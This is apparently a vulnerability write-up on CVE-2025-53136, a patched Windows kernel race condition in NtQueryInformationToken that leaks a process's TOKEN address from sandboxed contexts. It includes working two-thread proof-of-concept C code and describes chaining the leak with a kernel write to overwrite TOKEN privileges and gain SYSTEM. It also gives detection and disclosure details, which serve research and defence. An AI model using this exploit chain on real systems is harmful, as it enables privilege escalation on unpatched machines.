CVE-2025-53136 — NT Kernel TOKEN Address Leak via TOCTOU (KASLR Defeat)
Last updated: 2026-04-11
Severity: Medium-High
Component: ntoskrnl.exe (NtQueryInformationToken(TokenAccessInformation)→RtlSidHashInitialize)
Bug Class: TOCTOU Race Condition → Information Disclosure (Kernel Address Leak)
Privilege Escalation: Combined with AAW: User → SYSTEM (via TOKEN.Privileges overwrite)
Scope: Low Integrity Level, AppContainer — works from heavily sandboxed contexts
Patch: August 2025 (assigned CVE-2025-53136)
Related: Primitives, Race Conditions, Cve 2024 43511
Tags:info-leak,race-condition,kernel-mode,aslr-bypass
Vulnerability Summary
The October 2024 patch for CVE-2024-43511 (a TOCTOU in Windows kernel) introduced a new bug. The fix changed RtlSidHashInitialize() to take a pointer from the TOKEN structure (specifically the UserAndGroups field pointer) as its first parameter and store it into a user-supplied output buffer before performing hash initialization. A small but exploitable time window exists between the pointer write and the point where the caller function overwrites that buffer location — long enough to race and read the stored kernel pointer. The result: a reliable KASLR defeat primitive callable from Low IL and AppContainer, exposing the exact kernel address of the calling process’s TOKEN structure.
Root Cause Analysis
Background: CVE-2024-43511
CVE-2024-43511 was a TOCTOU race condition where a user-mode buffer was read twice (check + use) with an opportunity for the attacker to change the value between reads. The patch replaced the user-buffer read with a kernel-side read from the TOKEN structure.
The New Bug
The patch reads TOKEN.UserAndGroups (a kernel pointer) as the first argument to RtlSidHashInitialize():
NtQueryInformationToken(TokenAccessInformation) →
[calls RtlSidHashInitialize] →
first_param = TOKEN->UserAndGroups pointer (kernel address)
third_param = user_supplied_buffer (attacker writes here: kernel addr)
RtlSidHashInitialize stores first_param into third_param
[small window: kernel addr is readable at user_supplied_buffer]
caller function overwrites third_param at same offset
The caller function eventually replaces the stored pointer with something else, closing the window. But the window is wide enough to win consistently.
Race Setup
Thread 1 (reader):
while (true) { read user_buffer[target_offset]; if (val > 0xffff000000000000) break; }
→ captured leaked kernel TOKEN.UserAndGroups pointer
Thread 2 (syscall):
while (true) { NtQueryInformationToken(hToken, TokenAccessInformation, buffer, size, &retlen); }
→ repeatedly calls through the vulnerable path
Result: TOKEN.UserAndGroups kernel address is captured in userland before it is overwritten. UserAndGroups is a pointer within the TOKEN structure, so its value can be used to calculate TOKEN base address and from there the EPROCESS chain.
Why It Matters
- Works from Low IL and AppContainer — the most sandboxed user-mode contexts on Windows
- Fills the hole left by the Win11 24H2 removal of
NtQuerySystemInformation(SystemModuleInformation)KASLR leaks - Any token handle works —
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken) - When chained with a write primitive (e.g., a separate AAW vulnerability): write to
TOKEN.PrivilegesattokenAddr + offset→ LPE
Exploitation
#define NUM_THREADS 2
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
ULONG_PTR leakBuffer[128] = {0};
ULONG returnLen = 0;
ULONG_PTR leaked = 0;
// Thread 1: continuously read the target offset
DWORD WINAPI ReaderThread(LPVOID param) {
while (!leaked) {
ULONG_PTR val = *(volatile ULONG_PTR*)((BYTE*)leakBuffer + TARGET_OFFSET);
if (val > 0xffff000000000000ULL) {
leaked = val;
}
}
return 0;
}
// Thread 2: repeatedly trigger NtQueryInformationToken
DWORD WINAPI SyscallThread(LPVOID param) {
while (!leaked) {
NtQueryInformationToken(hToken, TokenAccessInformation, leakBuffer, sizeof(leakBuffer), &returnLen);
}
return 0;
}
Reliability: The time window is wide enough that spinning both threads in a tight loop succeeds “almost every time.” No special timing or synchronization primitives needed beyond the tight loop.
Output: leaked value is TOKEN.UserAndGroups — a pointer into the token structure itself. Arithmetic to recover TOKEN base, then EPROCESS.
Primitive Scope
This is a pure information disclosure — it does not by itself escalate privileges. The value is:
- TOKEN address derivation:
UserAndGroupsis a field in_TOKEN.UserAndGroups— pointer arithmetic gives the TOKEN base. - EPROCESS derivation: From TOKEN base → read
TOKEN.AuthenticationIdor walk token manager structures → EPROCESS address. - Chain with AAW: Once you have the TOKEN address and a kernel write primitive, write
0xFFFFFFFFFFFFFFFFtoTOKEN.Privileges.Presentand.Enabled→ full privilege escalation.
Windows Version Notes
- Primary target: Windows 11 24H2 and later (post-NtQuerySystemInformation patch)
- Also works: Earlier Windows versions (the race condition exists wherever the Oct 2024 CVE-2024-43511 patch is applied)
- Patched: CVE-2025-53136 assigned August 1, 2025; fixed in August 2025 Patch Tuesday
Detection
- Monitor for paired reader+writer threads tightly looping
NtQueryInformationTokenwithTokenAccessInformationclass - Unusual
NtQueryInformationTokencall frequency (thousands of calls/sec per thread) - Works from AppContainer — detection at kernel level (ETW) more reliable than userland
Patch Analysis
The fix eliminates the window by ensuring the kernel pointer is never transiently stored in the user-supplied output buffer. Likely moved to a kernel-internal temporary or rewrote the flow to avoid the write-then-overwrite pattern.
Disclosure Timeline
- 2025-04-08: Reported to Microsoft
- 2025-04-09: Acknowledged
- 2025-04-22: Incorrectly marked as duplicate, closed
- 2025-04-22: Researcher tweeted; Microsoft reopened
- 2025-04-25: Confirmed valid
- 2025-04-29: Confirmed in-scope
- 2025-08-01: CVE-2025-53136 assigned
References
- hieu.q + voidsec (Crowdfense), “NT OS Kernel Information Disclosure Vulnerability - CVE-2025-53136”, crowdfense.com, 2025-09-11
- CVE-2024-43511 — the Oct 2024 patch that introduced this bug
